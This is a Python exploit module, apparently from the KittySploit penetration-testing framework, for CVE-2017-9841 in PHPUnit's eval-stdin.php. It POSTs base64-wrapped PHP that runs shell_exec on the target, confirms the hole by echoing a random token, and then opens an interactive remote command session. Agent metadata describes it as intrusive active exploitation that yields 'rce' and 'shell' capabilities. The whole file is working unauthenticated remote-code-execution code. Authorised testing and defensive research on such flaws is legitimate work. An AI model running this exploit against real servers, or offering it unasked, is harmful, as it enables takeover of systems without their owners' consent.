PHPUnit - eval-stdin.php RCE (CVE-2017-9841)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""PHPUnit eval-stdin.php unauthenticated RCE (CVE-2017-9841) — opens execute session."""

import base64

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'PHPUnit - eval-stdin.php RCE (CVE-2017-9841)',
        'description': (
            'Exploits CVE-2017-9841 by POSTing PHP to eval-stdin.php. Opens an interactive '
            'execute session via shell_exec().'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2017-9841'],
        'platform': Platform.MULTI,
        'payload': {'default': 'nopayload'},
        'references': ['https://nvd.nist.gov/vuln/detail/CVE-2017-9841'],
        'tags': ['phpunit', 'rce', 'unauth', 'kev', 'cve-2017-9841'],
        'agent': {
            'risk': 'intrusive',
            'effects': ['active_exploitation'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals'],
            'cost': 1.5,
            'noise': 0.5,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0, 'min_params': 0,
                'tech_hints_any': [], 'tech_hints_all': [],
                'specializations_any': [], 'risk_signals_any': [],
                'auth_session': False, 'capabilities_any': [], 'capabilities_all': [],
                'confidence_min': {}, 'confidence_min_any': {},
                'endpoint_pattern_any': [], 'param_any': [], 'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {'capability': 'rce', 'from_detail': ''},
                    {'capability': 'shell', 'from_detail': ''},
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': ['scanner/http/cve_2017_9841_detect'],
            },
        },
    }

    path = OptString(
        '/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php',
        'Path to eval-stdin.php',
        required=False,
    )

    def _url(self) -> str:
        p = str(self.path or '').strip() or '/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php'
        if not p.startswith('/'):
            p = '/' + p
        return p

    def execute(self, cmd: str) -> str:
        b64 = base64.b64encode(str(cmd).encode()).decode()
        payload = (
            '<?php $c=base64_decode("' + b64 + '");'
            'echo shell_exec($c); ?>'
        )
        r = self.http_request(
            method='POST',
            path=self._url(),
            data=payload,
            headers={'Content-Type': 'application/x-www-form-urlencoded', 'Accept': '*/*'},
            allow_redirects=False,
        )
        if not r:
            return ''
        return r.text or ''

    def check(self):
        token = self.random_text(8)
        body = self.execute(f'echo {token}')
        if token in (body or ''):
            return {'vulnerable': True, 'reason': 'CVE-2017-9841 confirmed', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'No echo output', 'confidence': 'medium'}

    def check_execute(self):
        token = self.random_text(8)
        return token in (self.execute(f'echo {token}') or '')

    def run(self):
        if not self.check_execute():
            self.not_vulnerable()
            return False
        return self.handler_execute()